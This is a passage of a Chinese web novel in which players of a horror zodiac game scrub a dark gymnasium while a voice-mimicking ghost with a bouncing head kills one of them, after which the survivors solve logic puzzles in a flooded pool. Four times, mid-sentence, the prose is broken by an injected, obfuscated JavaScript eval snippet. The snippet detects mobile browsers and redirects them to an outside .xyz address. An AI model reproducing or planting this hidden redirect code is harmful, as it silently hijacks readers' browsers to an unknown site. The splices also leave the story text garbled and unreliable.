随后附带的差生名单,是目前存活的9名玩家,一个不多,一个不少。 “靠!这是想一锅端啊!”金乐儿勾起食指,重重敲着黑榜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680806|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我正好不想在宿舍住,被大眼珠子盯着不说,想起304那孩子就不舒服。”阿姨摇着头。 “体育馆,又冷又黑,可不只是大眼珠子那么简单了,听说负一层游泳馆里淹死过学生……”云真真半开玩笑半吓唬阿姨。 “管它呢!有会跑的胳膊最好,我肯定抓回去送给我女儿。”阿姨毫不在意。 文诗书始终沉浸在战胜云真真的喜悦中,丁卯分析着毫无意义的标准答案,辛晴和“猎鹰组织”那两位不知因为什么拌着嘴。 白深一会儿看云真真的神色,一会儿又去听文诗书的心声,偶尔露出一丝清澈的愚蠢。 眼看半小时期限就要到了,玩家们不得不暂停一切恩怨纷争,匆匆向体育馆走去。 吱呀——金乐儿率先推开体育馆的门。 玩家们来过这里,却只在角落的更衣室换了校服,加上光线昏暗,没人细看体育馆的全貌。 整个篮球场地呈长方形,场地内有序陈设着五对篮球架。 红袖标阿姨蹲下来,用手指沾沾地板上厚厚的积灰,叹了口气:“这地板,最少要擦五遍。哎?谁啊?还没打扫就开始打球,尘土全扬起来了……” 阿姨抬起头,只见另外8双眼睛齐刷刷盯着自己。 没人打球,却有篮球“咚、咚、咚”反复弹在地上的声音。 “那有个人!”辛晴眼明心亮,指向场地中央那对篮球架中靠里面的一个。 篮板投下的阴影之中,的确有个人影。 玩家们忐忑的心暂时放了下来。是人是鬼,至少看得见才对。 “差生,你们来了!”那人从篮球架下走出来,地中海,矮个子,怒脸上透着几分阴森……又是教导主任。 “天黑之前,把这里的地板擦干净。”教导主任一一瞪过每一个玩家,“天黑之后,到负一楼去清理游泳池,游泳池里不能有任何杂物。” “主任!”文诗书“扑通”一声跪倒在地,拉住主任的裤子,“求求您,我得回去学习!半天加一整夜,我会被别人甩在后面的……求求您!” “好好反省吧!完不成打扫任务,你们将彻底失去二模考试的机会。”主任甩开文诗书,朝着大门走去。 咣当!大门被重重甩上。 哗啦哗啦——铁链摩擦的声音透过门而来。 “我们被锁在里面了。”阿姨看着紧闭的大门,问出灵魂问题,“但是,他手里也没拿篮球啊?” 一时间,毛骨悚然的感觉化做无数细细密密的线头,不停撩拨着玩家们的神经。 “现在开始打扫卫生。”白深率先打破僵局,用行动赶走不必要的胡思乱想,“大家分工合作。篮球架共有5对10个,沿着边线,正好划分为10块待打扫区域。每人认领一块。靠近里面墙壁的是1-5号,靠近大门的是6-10号。” “还剩下一块呢,你是准备留给打篮球的那个人吗?”云真真仰起脸,天真又带有挑衅地看着他。 “胡说什么?”白深皱眉,“谁打扫得快,谁就去最后一块。” 33. 小镇做题家(8) 俯视整个篮球场,场地被白深划分成上下两排,共10个区域,每个区域的形状近似于一个边长15米的小正方形。上方是1-5号,下方是6-10号。 “考试不行,打扫卫生你们就赢不过我咯!”红袖标阿姨率先拿起一块抹布,朝着左上角的1号区域走去。 玩家们各自挑选了块区域,无奈地当起“家政工”。 “猎鹰组织”的阴阳头不愿意动,嘟囔着“老子从来没干过活儿”,话音未落天灵盖处猛然挨了扫把头一记重击:“给大哥刷厕所、二哥烧洗脚水的不是你?别扯犊子了!天黑之前没打扫干净,都得死!” 阴阳头委屈巴巴地捡起最后两块抹布,在9号区域蹲下,不时瞟一眼10号区域的扫把头消没消气。然而隔着十多米,也看不太真切。 位于上排正中间的3号区域空着,无人问津。 刚才,教导主任正是从此处的篮球架下冒出来的。 与3号区域共用一条边线的,是左边负责2号区域的云真真、右边4号区域的辛晴,以及下方8号区域的白深。 云真真选择从左上角、靠近1号阿姨的地方开始擦,尽量离3号区域远一点。 集体劳动景象热闹又和谐,像极了小学语文书上农民伯伯在地里插秧的插图。阿姨甚至应景儿地哼起了小曲儿。 “咔”! 光线本就微弱的篮球馆,突然陷入一片漆黑,像是谁把电闸关掉了。 阿姨的惊叫声从左边传来:“哎哟哟,哪个哟?关啥子灯嘛?擦没擦干净,都看不见了!” “不对,现在是下午时间。就算关了灯,也不会黑得伸手不见五指……”丁卯的声音传过来,他位于右上角的5号区域。 公屏亮起。 【距离天黑倒计时:1:00:00】 【当前任务进度0%】 不断跳动的红色倒计时和绿色任务进度条悬在虚空中,除了玩家浓稠的恐惧之外,啥也照亮不了。 云真真抬头盯着进度条:这个副本,各种幺蛾子、花样真不少,不愧是属双子座。 “现在开始,大家隔一段时间就报一次数,确保安全和任务进度。”白深低沉的声音响起,起到一些定心丸作用。 “1号,一平米都没擦干净呢!”阿姨很积极,主动报数。 “2号。”云真真声音冷淡,她实在不喜欢所有玩家绑在同一条船上的感觉。 “4号”“5号”…… 一直到10号扫把头报完数,所有人才暗暗松了口气。 咚、咚、咚……三下敲击地板的声音响起,声音很轻。 但身处黑暗之中,人的视觉一旦休息,听觉便会格外灵敏。所有人都听到了。 云真真甚至能感觉,声源就来自右边的3号区域。 “这是谁在开玩笑吧?用手指敲地板,报了个3来吓唬人?”位于7号区域的金乐儿笑声很干,“云真真,是不是你?你最爱恶作剧。” “这是篮球弹跳的声音。”云真真直接点破,“我手里只有一块破抹布,可没什么篮球。” “我擦!快点擦完,赶紧离开这鬼地方!我擦的意思是说我真擦……”刚才不愿意干活的阴阳头,此时最着急。 “说得对。无论有什么风吹草动,别受影响。首要目标是聚焦任务,把地板擦完。”白深依然冷静,“如果发现什么异常情况,大家及时沟通。” “你手脚麻利,3号区域等你回家!”云真真把头转向斜后方,试图让白深听得更清楚,右手的抹布没停下,画着圈圈擦得欢。 突然,抹布受到阻力,右手撞到一个硬邦邦又带些韧性的东西上。 云真真猛然回过头,虽然看不见,也正因为看不见,心突突狂跳起来。 她选择暂时不吭声。警匪片中,大喊大叫、遇事惊慌的人总是被最先撕票。 她不动声色收回右手,把抹布翻了个面,换到左手方向擦地。 还没擦两下,相同质感的物体再次出现在左手前。 云真真默默转过身,向反方向的7号区域擦去。 “鬼东西”第三次横在正前方。 云真真深吸一口气,索性向不知名的“鬼东西”伸出双手。 长条状的编织物、金属材质的圆柱体,按上去有韧性的质感,前端很尖……一对儿,左右对称。 这是一双尖头皮鞋! 这鞋……总不会自己长脚到处跑吧? 沿着鞋帮,指尖继续上移,果然摸到两根柱状物——小腿。 包裹着双腿的材质熟悉不过,就是造价便宜的化纤织物——一中校服。 沿着两侧裤缝继续上摸时,突然感觉那双腿一弯,似乎蹲了下来。云真真迅速收回手蹲回原地。 一股气吹在云真真的脸上,又凉又痒:“嘘——别出声。陪我玩会儿篮球!” 那拼命压着嗓子、极小的声音传入耳朵,云真真脊背一阵发麻,又感觉声音有点耳熟。 “不是先擦地吗?”云真真学着对方的样子,捏起嗓子发出气声,“你分配的区域,擦完了?” “还没呢,快了!”对方似乎贴云真真很近,“先别告诉别人,我怕他们说我贪玩。快点擦,我在3号区域等着你。” 云真真高度戒备,察觉对方离去后立刻放大音量:“阿姨开始,以最快的速度报数!” “1!”“2!”……“10!”玩家们处于警觉之中,连文诗书也没有拖后腿,连珠炮一般报完了数。 玩家们都竖着耳朵,空气似乎变成了真空,听不到一丝声音。 半分钟过去,篮球弹跳声没再响起。 “咋了,真真妹子,你是遇到啥问题,还是怕黑?”金乐儿的声音从后方传过来。 “我……”云真真正要开口,惊觉鞋尖抵住了什么东西。 不是墙壁。她刚刚已经擦过靠墙那片区域了。 脚尖向上轻提,再使劲儿朝下一踩。 硬中透着软,又是那双尖头鞋! 怪不得不用篮球报数,原来是跑这里来了。 “没事儿,有点困了。”云真真连忙改口。否则……她猜测自己即将被封口。 在一片“害!”“切!”声中,抹布摩擦地板咯吱、咯吱的声音重新响起来。 “我说过,别告诉别人。”那人依然死死抵住云真真,在她耳畔吐出气泡音。 “我没告诉啊……”云真真不动声色向后退了一小步,“辛晴,你想打篮球的话,去找你们队长白深。他在8号领地。” 她早就注意到,辛晴穿着这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704023|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样一双中性皮鞋。 “你认出我来了啊。他会陪我玩—篮—球吗?”辛晴的声音中透露出些许兴奋。 “你去问问呀,他人好,大概率会答应!”云真真悄声煽风点火。 察觉“辛晴”的气息消失之后,云真真立刻再次大喊“报数!” 虽然摸不着头脑,玩家们还是紧张地又来了一遍。 毕竟在这一片漆黑之中,知道有人和你同在,心里会好受很多。 没人少报,也没人多报。 云真真的目的正在于此。 发起第二次报数时,她已经通过声音判断出,穿着辛晴皮鞋的人,不是真正的辛晴。 那人表示要在旁边的3号领地等待云真真打篮球,而辛晴报出“4”的时候,声源至少在10米开外。 这次,她虽然把“辛晴”引向白深,同时也给了他提示。 在她的测算中,“辛晴”对着白深耳语、要求他陪自己打篮球的同时,真正的辛晴却在4号区域内响亮地报数。 “辛晴”的伪装不攻自破,白深自然能采取措施。 预想中的打斗声始终没有到来。体育馆内回荡的,依然是咯吱咯吱擦地板的声音,还有玩家们移动身体时“嗯”“啊”的喘气声。 又隔了一小会儿,白深终于发起下一轮报数。 连珠炮却在“9”那里卡住了一小会儿。 白深报出“8”之后,9号区域的阴阳头方向先传出一声闷哼,接着又是几声凌乱的篮球弹跳,最后才报出“9”。 “10。”扫把头感到诡异,声音中带着一丝颤抖,“小子,你没事吧?” “没事!快点干活,干完好玩篮球。”阴阳头的声音响起。 “你……”扫把头颤抖得更厉害了,“啥时候学会打篮球了?” 难道……“辛晴”正在扫把头的区域之中?云真真还没想明白,便被公屏上的进度条吸走了注意力:由0跳到了10%! “报告!1号区域的活干完啦!”阿姨的声音中带着兴奋,“看那大屏幕,也说明我干得不错噻!哎呀,倒计时就剩下半小时,可得加快了!我先去3号区域了哈!” “阿姨,你先帮帮我吧!”云真真连忙截住阿姨,“我笨,不会干活。” “要得要得!”阿姨的脚步声传过来。 “哎?你们发现没有?室内好像比刚才亮了一点点!”云真真努力睁大眼睛,勉强辨认得出阿姨的微胖轮廓。 “没错!刚才的黑度是100%,现在就是90%。”丁卯的声音从最右边的5号区域传来,接着一声“啪”,似乎是他拍了自己脑门一下,“我知道了!大家赶紧干活。公屏上的进度条,同时也代表室内的亮度!” “嘿,你别说,还真有那么点道理!”金乐儿哈哈笑着,仿佛已经提前看见了胜利的曙光,“好嘞,小爷我快马加鞭!” 云真真牵着红袖标阿姨,站在2号和3号区域的共用边线上,大喊一声“报数!” 从1到10,从人数到节奏,没有任何问题。 云真真却在报数结束后一把捂住了阿姨的嘴。 借着微光,两人看见3号领地上躺着一个人型轮廓,头部区域很特殊,只有半边反着光。 那报出“9”的人,又是谁? 34. 小镇做题家(9) “我在3号区域等着你。”“不要告诉别人。” 回忆起“辛晴”诡异的耳语,云真真不敢轻举妄动。 此刻,躺在3号区域的人,到底是阴阳头本人,还是正在扮演阴阳头的“辛晴”? 思绪和视线一同沉入黑暗,一片混沌。 有什么办法,能快点看清3号区域,或者让其他人知道3号区域有异常? “白深,你赶快把裤子脱了。”漆黑之中,云真真一语石破天惊。 单纯的黑暗中顿时掺入其他玩家的无语、疑惑、惊讶等强烈情绪,明显黑得更浓稠了。 阿姨的“耳语”,因为吃惊放大成外放,一只粗糙的手搭上了云真真的额头:“闺女,你脑子吓坏了还是咋了?没事,阿姨在你旁边……” “哦……不是你们理解的那个意思。”云真真后知后觉。 白深声音中透着满满的尴尬:“那要……干……干什么?” “我们想去打扫3号区域,但找不到边线。”云真真连忙解释,“校服裤子是化纤的,脱下来摩擦容易起静电,我想借个亮光。” 白深从小到大,第一次穿起静电的裤子,脱也不是,不脱也不是。 “那点电量,你是看不清东西的……” 丁卯话音未落,噼里啪啦一阵响,蓝色电火花闪烁了短短一瞬间。 “下次有这事,叫我就行了。”金乐儿愉快地回答,“头发剪短了,摩擦半天才放电……” “行了,你快穿上吧。”虽然看不见,云真真依然闭起眼睛,“这办法确实行不通。” “哼,物理学得不好,在这儿给一中学生丢人现眼呢!”文诗书冷嘲热讽。 “学渣嘛,谅解一下。”云真真就坡下驴。她的本意是只是将白深引过来,让他注意到3号区域的异常。 “大家快点干完自己的活,让亮度恢复正常。”云真真思索片刻,拉着阿姨开始全速擦地,“玩家中到底有没有双子座,亮一些才看得见。” “亮度跟星座咋又扯上关系了?”金乐儿摸不着头脑,窸窸窣窣穿着裤子。 “我是处女座。”丁卯的声音传来,“马上完成清洁任务。” 他们两人没会意,证明“鬼东西”没有找过他们。 “双子座……有。”白深的声音恢复冷静,参透了云真真的暗语。 “你就是。”白深又补了一句。 原来如此!云真真了然于胸。那“鬼东西”变化多端,用辛晴的声音迷惑自己,又用自己的声音去找白深玩篮球了! 夜长梦多,唯有快点完成清洁任务,让光线恢复正常。 在阿姨的帮助下,只剩下靠近3号区域的部分尚未清洁。 云真真让阿姨休息,手中的抹布一点点划向3号区域边缘。 铺满尘土的地板,突然变得湿腻起来。抹布吸满不知名液体,越来越重。 靠近轻嗅,铁锈腥味让人作呕。 “不要告诉其他人。”耳语声再次回荡在耳边。 云真真不动声色,换了块抹布,重复着吸满、拧干、擦拭的动作。 进度条持续推进,越来越多的玩家完成清洁任务,馆内终于一点一点亮了起来。 与在黑暗中频频报数、努力找话题相反,视野越清楚,人反而越沉默。 进度条推进到80%,才知道沉默是唯一的答案。 此刻,全场唯一一对“双子座”全然暴露:3号区域内的阴阳头仰面躺在血泊之中,双目圆睁,表情惊悚,已然失去生气。 9号区域内的阴阳头呈蹲姿,环抱双膝,头深深埋进双臂之中,看不清面容。 “不是要陪我玩篮球吗?骗子……都是骗子……”9号区域阴阳头的声音闷在膝盖之中,尾音逐渐尖利,“10个人,本来可以组两支队伍;退一步还能玩3V3;可最后,只有一个人陪我玩!” 话音刚落,“阴阳头”突然跃起两三米高,头部朝下直直地朝地上砸去。 咚、咚、咚……黑暗中一直弹跳的“篮球”声,并不是真正的篮球。 而是“阴阳头”诡异的头颅!他仿似一个晴天娃娃,仅用头颅拖着整个软绵绵、面条一般的身体。 篮球头忽高忽低地来回弹跳,跃入3号区域,发出尖利刺耳的声音:“那我只好和这位哥哥1V1了!!!” 咚!篮球头重重砸进阴阳头胸口,鲜血呈喷射状,刷刷溅到旁边的2号领地、4号领地。 进度条重新降回60%,光线随之黯淡。 咚!!篮球头更加疯狂地跳跃、砸着不忍细看的阴阳头。 “有完没完!”怒音未落,一记侧飞踢将篮球头踹倒在地,稳准狠快,像是练家子。 一双尖头中性皮鞋死死踩住“篮球头”,辛晴的暴脾气终于释放:“刚擦干净的地,你就给我弄脏了?” 她在意的点……也蛮清奇的。 “哈哈哈哈……”“篮球头”面部紧紧贴地,依然看不清真容,声音忽高忽低,“你们都来陪我玩了,太好啦!一会儿见!” 转瞬之间,圆球状的头漏气般扁下去一些,从辛晴的脚下灵活钻出后,再次高高跃起。 咚、咚……篮球头飞速跳跃,途经文诗书的6号区域,从左下角楼梯蹦到负一层去了。 “先别管那么多,迅速清理地板!”白深一句话,大家如梦初醒,放弃“去追”的念头。 倒计时只剩下4分28秒! 金乐儿被辛晴帅气的飞踢征服了,屁颠屁颠地将4号区域清洁干净。 进度条迅速升至90%时,只剩下3号领地仍未清理。 阴阳头血肉模糊,面目全非。 云真真拉起掩住脸庞、跪倒在地的扫把头:“你要不要再看他一眼?我们要……收尸了。” 阴阳头遭遇不幸之后,扫把头一声不吭,眼泪却一直没有干过。 云真真拍拍他的肩膀,看着白深、金乐儿和辛晴将阴阳头抬进更衣室。 一个从经历过集中营的作家曾写,刚开始见死人心惊胆寒,随着身边死的人越来越多,就慢慢习惯、见怪不怪了。 云真真深刻体会到了这一点。 当下目的只有一个:场地要保持干净清洁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711764|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒计时在1分20秒处静止,进度条终于达到100%,窗外却已经是黄昏时分。 公屏播报着迟到的信息: 【叮!本场游戏6号玩家失血过多,游戏失败,化作流星,咻~】 【双子座副本【小镇做题家】下一个任务:体育馆负一层即将开启,请玩家们在半小时内前往负一层。】 还有半小时喘息时间,丁卯提出复复盘,顺便多记录一些信息。 8个人在更衣室门口坐下来。 “总觉得这个副本有隐喻。”丁卯敲击着笔记本,“任务是清洁灰尘,光线由暗变亮……” “我有同感。”白深微微颔首,“扫尽灰尘与黑暗,才能看清全貌。” “‘篮球头’似乎在指引我们找到与他相关的真相。”云真真勾起食指,一下一下敲击着地板,“他到负一层去了,所以我们还得研究他。目前知道的线索很少,第一,他会模仿别人的声音。第二,他到底长了一张什么脸,尚不清楚。第三,他骗人跟他一起玩篮球。第四,答应他玩篮球的结果,就是……” 察觉扫把头脸色铁青,云真真转移了话题:“啊,对了,辛晴,他怎么会穿着你的鞋来骗我?” “我……”辛晴避开众人询问的目光,歪头朝向夕阳中橙色的体育馆,“当时他模仿队长的声音来找我,悄悄说鞋湿了,我就脱给他了……过了一会儿,鞋子又被放回来了。” “哇靠,怎么能让女人光脚,你穿着鞋!白深,你平时是不是欺负她来着?”金乐儿打抱不平。 “那不是我……”白深汗颜,“我不会提出这样的要求。同理,他捏成云真真嗓音的时候,我一下就知道那是假的。” “他说啥了?”云真真有些好奇。 “他开口第一句话,就是‘哥哥’……”白深回答,“那绝对不是从你嘴里说出来的话。” “那倒不一定。”云真真摇摇头,没有一丝脸红和羞愧,“钱给到位,叫太奶奶都行。” “我也需要钱……”阿姨连忙插嘴,“谁能给我,我也叫他太奶奶!” 几个人一会儿正经分析,一会儿插科打诨,也算对未知恐惧的一种调剂。 “你们真的很无聊。”文诗书将双臂交叉在胸前,打起呵欠,“讨论这些事,芝麻粒大的意义都没有。外面的同学可一直在学习,不知道领先我们多少了。尤其是你,手下败将云真真,你还不如玩篮球那个!” “这是在游戏里啊,闺女!”阿姨诧异地看着文诗书,生怕她模糊游戏与现实的界限。 “哈哈哈哈……”文诗书突然笑出声来,“游戏不游戏、现实不现实重要吗?最重要的当然是考试!” 云真真悄悄对着白深作出唇语:比我变态吧? 白深装作没看见。 “玩篮球那傻X,纯属自讨苦吃。”文诗书的话立刻引起大家的兴趣。 她精神状态不咋地,但似乎知道一些关于“篮球头”的信息。 “学霸姐姐,您给说说?”金乐儿当起了捧哏。 “告诉我他是谁,我要亲手宰了他!”扫把头终于能说话了。 35. 小镇做题家(10) 云真真的目光落在文诗书苍白的脸上,首次对她的内心生出一丝好奇。 上帝说,要有光。黑夜白昼开始更替。 盘古劈开混沌,天地自此诞生。 天地,黑白,男女,美丑,生死,万事万物都具有两面性,双子座映射出这一点。 而文诗书,似乎仍处在黑白不明、天地不分的混沌状态之中,活着的主题只有一个:考第一名。 她是当之无愧的小镇做题家。 对于“篮球头”,她毫不掩饰嘲讽道:“高中的时候,是有那么一个傻X来着。统考前半个月,啊,就是重要的那次全省统考,云真真你退学后的那次,我考了第一名的那次……” “对对,好厉害。”云真真伸出大拇指点赞,“然后呢?” “学校为了让大家安心复习,关闭体育馆、停掉体育课。这个傻X跑到播音室,模仿校长和体育老师的声音,说体育馆会一直开放,真是可笑至极!就算他声音模仿得像,大家相信了,但都快考试了,谁还会去啊?” “会模仿声音,这点对上了。”丁卯在笔记本上打了个对钩,“还有什么线索,让你认为篮球头就是这名同学?” “他邀请我去体育馆打篮球啊!”文诗书鄙夷地笑了,“一出广播室,他就被抓住了。学校罚他停课去打扫体育馆。他是死猪不怕开水烫,趁此机会到处拉人陪他打篮球。后面的事我就不知道了,反正他没再回来上学过。” “重点高中的纪律,一点人味儿都没有啊!”金乐儿碰碰云真真,“体育课都不给上,你退学是对的。” “那也分什么学校。”云真真用下巴指指白深,“他读的那类学校,体育课都是奥运冠军给上的。” 众人目光聚焦在白深脸上,带着羡慕嫉妒和明显的恨意。 白深:出生在这样的家庭,反到成为我的错了?! “走吧,时间差不多了。”丁卯合上笔记本,窗外即将陷入黑夜,“咱们去会会篮球头!” 步入负一层游泳馆,一股浓厚的腥气扑面而来,灯光惨白,空气湿冷。 游泳池只有标准泳池一半大小,半池灰绿色的水浑浊不堪,有些年头没换过了。 “篮球头”坐在高高的救生员椅子上,二郎腿一摇一摇,十分悠闲。 云真真试图看清他的脸。 乱蓬蓬的湿发之下,全脸竟是一片空白! 像塑料模特里最便宜的那一档,面部骨架的基本起伏一点没有,全脸一马平川。 “同学们,谢谢你们帮我打扫体育馆,陪我玩篮球。”篮球头十指大大张开,抚摸着脸庞,像一张恐怖片的海报,“你们也看到了,我的脸……因为某些原因,不见了。” “欢迎来到特别的二模考试考场!”篮球头的声带夹杂着咕噜咕噜水声,“考试内容,就是帮我找回两张脸!” “不对呀?周四才二模,现在才周二。”金乐儿摸摸头,“在你这模完了,出去还要再模一次不?” “你先活下来再说吧。”篮球头一跃而起,“咚”一声弹到地面,沿着游泳池边怪异地跳跃着。 扫把头喘息声很重,肌肉绷起,双拳紧握,显然在寻找机会一拳锤爆他。 白深敏锐地察觉到了,跨出几步挡在他面前。云真真也看穿他的心思,轻声说:“你得对组织负责,活着回去复命。” 和白深的拯救目标不同,她并非出于善良,只是不想激怒BOSS,白送他一个大开杀戒的理由,从而连累到自己。 这正是她讨厌团体游戏的理由。 “现在,选出三位同学参加第一题考试,题目是【两张面具】。”篮球头“看”着8人,“有没有自愿的?” 这道题……他们可太熟悉了。一模不就是这破玩意儿吗? “等一下,篮球同学!”丁卯人如其名,丁是丁、卯是卯的劲儿又上了头,“为什么是3个人?那没参加的5个人还要不要考?成绩联动吗?……” “我来!”云真真连忙出列,打断丁卯的碎碎念。参与人越少,需要顾及的东西就越少。 “她也来。”云真真把阿姨拉到前面,指向“职业队友”金乐儿,“哦,还有他。” 三连座、连抱三个鸭蛋小分队中的两人,不明就里打了头阵。 “考试开始!”篮球头一声令下,其余5个人膝盖一弯,齐刷刷落入泳池之中。 坏消息是池水又脏又臭,好消息是只有一半深,刚到腰部。 “这一题,你们是观众。”篮球头发出声音,“不能发出任何声音、作出任何表情,否则……” 篮球打了个清脆的响指,一池死水突然开始涌起波浪,一浪更比一浪大,“你们将成为浮在池面上的好观众。” “害,以为多厉害,就是个水上世界的造浪池。”金乐儿小声嘀咕着,胳膊被云真真狠狠拧了一下,威胁再多嘴就送他下去冲浪。 阿姨不禁哈哈笑出了声。 白深:……考鸭蛋、离死最近的3个人,还在作死,格外疯癫。 篮球头向着岸边的3个人转过身,两只手慢慢伸向脸部,再次摆出恐怖片海报造型。 刷!他像撕面膜一般揭下了自己的脸! 刷!揭下一张还有一张…… 刷!刷!刷!篮球头疯狂地一连揭下5张“面膜”。 “他的脸,是一颗洋葱哦?”阿姨惊讶地捂住嘴。 “也像俄罗斯套娃,真想知道最后那个娃到底有多小……”金乐儿轻笑着。 【这里有五张面具,共两种表情。其中3张平脸,2张哭脸。】 【每人选择一张面具戴上。具体为哪种表情,戴上之后才会显现出来。这就意味着,你们只能看到对方的面具,看不到自己的面具,且不能通过反光灯方式偷看自己的面具。】 【提问:我会问你们每人一个问题,请如实回答。若有一个人回答正确自己脸上面具的表情,三人均通关考试。若全部答不出来,三人均失败。那就意味着,有人陪我在这里玩篮球了!】 刚刚的轻松氛围一扫而空,3人在忐忑中把“面膜”贴在脸上,滑滑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764256|152002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、有弹性的皮肤质感让人不禁反胃。 云真真心一横,“啪、啪”在眼睛位置戳出两个洞:只见阿姨脸上是一张扁平脸,金乐儿是一张哭脸。 迅速向地上没人选择的两张脸瞥去:空白!显然是被有意隐藏了。 看来这是个逻辑推理游戏,双子座的优势领域。 篮球头跳到阿姨面前,绕着她转了两圈,问出问题:“你知道你面具的表情吗?” 这是什么问题?还用你问?金乐儿倒吸一口冷气。 阿姨不假思索地摇摇头:“不晓得。” 金乐儿敢肯定,如果有嘴,篮球头一定把它咧得很大。 篮球头跳到金乐儿面前,问出同样的问题:“你知道你面具的表情吗?” 金乐儿刚想张嘴,猛然间反应过来,狠狠抽了自己一个大嘴巴。 阿姨既然回答不知道,意味着自己和云真真一定不能同时为2张哭脸,哭脸一共只有2张!如果是2张哭脸,阿姨一定会说自己是平脸…… 思索了几分钟,金乐儿回答“不知道”。 云真真笑意满满地迎接篮球头,等他问出“你知道你面具的表情吗”。 “当然知道,是一张平脸。”云真真胸有成竹。 篮球头一挥手,地上两张白面具的表情浮现出来:果然剩下一张平脸,一张哭脸。 【第一题答案正确】 阿姨没反应过来,摘下自己的平脸面具,看看地上的面具,再瞅瞅云真真和金乐儿:“这是咋回事儿呢?” 金乐儿美滋滋地当起了老师:“你看见我俩一哭一平,所以推断不出自己是什么脸。我从你不知道,推出我和真真妹子不可能是两张哭脸。” “因此我和她只可能是一哭一平,或者两平。你是平脸,真真妹子是平脸,所以仍然推不出来我自己是什么脸。” “真真妹子聪明,当然早就判断出我的判断——我和她要么一哭一平,要么两平,她看见我是哭脸,自然知道自己是平脸了!” 阿姨反应了一会儿,恍然大悟。 池子中泡着的5个人反应各不相同。丁卯边点头边记录,白深依然一张冰块脸,扫帚头愤懑和悲伤共存,辛晴学着白深的样子扮酷,文诗书眉头紧皱,死盯着云真真,又带上了敌意。 然而,问题解出来了,答语还没写全。 “这个,给你。”云真真捡起地上一张皱巴巴的平脸,“任务是帮你找回两张脸,这是第一张。” 篮球头接过“平脸面膜”,一寸一寸紧紧贴合,拥有了一张和“学生”相同的面貌。 不光眼睛能转,说话时嘴巴也可以一张一合了:“为什么选择这张?” “你身着一中校服,是学生身份,那么这张脸一定属于你,不然你活不下去。”云真真目光灼灼,踢了一下地上的哭脸,“小镇做题家,按照学校的要求,就得面无表情,抛弃七情六欲。哭,你配吗?你不配。” 篮球头眼角微不可见地抽动一下,不作回答,大步走向池边:“现在轮到第二题了!” 36. 小镇做题家(11) 【第二题一站到底】 【5名做题家依次作答10道题,每题思考时间为1分钟。现场阅卷。】 题目布置完毕,游泳池中的水肉眼可见地上涨,暗潮汹涌,速度极不符合常理。 转眼之间,浑浊的水已从腰部没上白深的肩膀,仍没有停止上涨的迹象,腥臭的气味让他微微皱眉。 云真真刚要开口说话,一张面膜一般的东西“啪”地覆到脸上,嘴巴像被强力胶带封住了,丝毫动弹不得。 左右看看金乐儿与阿姨,两人同样戴着篮球头同款空白脸,眼睛、鼻子处人性化地留了洞,只有嘴被严严实实地封在里面。 篮球头愉快地打了个响指:“好好看戏,别说话。否则……” 突然,极大外力冲击着云真真面部,“面膜”像一个金刚利爪,紧紧钳住脸庞,似乎要穿过血肉、嵌进头骨中去。 此刻的头颅,如同奶茶中的珍珠,已经被怪物吞入口中,随时可能被咬烂爆浆。 三人非常识相,作揖的作揖,比OK的比OK,表示一定听话,“面膜”才卸了力。 无论如何,也要比泡在灰绿污臭的泳池中的5人幸运一点,吧? “你大爷的,我的脚被吸住了,动不了!”辛晴一脸愤怒,似乎在用力挣脱,却是徒劳。 “我也是!吸力不算小,推测是池底排水口?咕噜……”丁卯挣扎着分析,被一阵吸力猛然下拽,连着呛了两口污水。 池底的吸力让玩家无法移动,水面上只剩5个篮球般的头整整齐齐地依次排列。 白深的那颗头,光秃秃的浮在水中任人宰割,云真真生出一种莫名的快乐,看到富人落魄之后情油然而生的那种。 回想钱进的下场,现实中不可能实现。此刻,她对星座游戏的爱又加深了一分。 “公平起见,你们露出水面的高度,正好为一头。但你们的身高不同。”篮球头背着双手,在岸边慢慢踱步,俯视着5个脑袋,平脸上透出恶意,“啊,猜到了吧?每个人受到的吸力大小,是可以调节的。” 【现场阅卷】。云真真立刻想到这一规则。这就意味着,答错的人很可能当场被吸入池底。 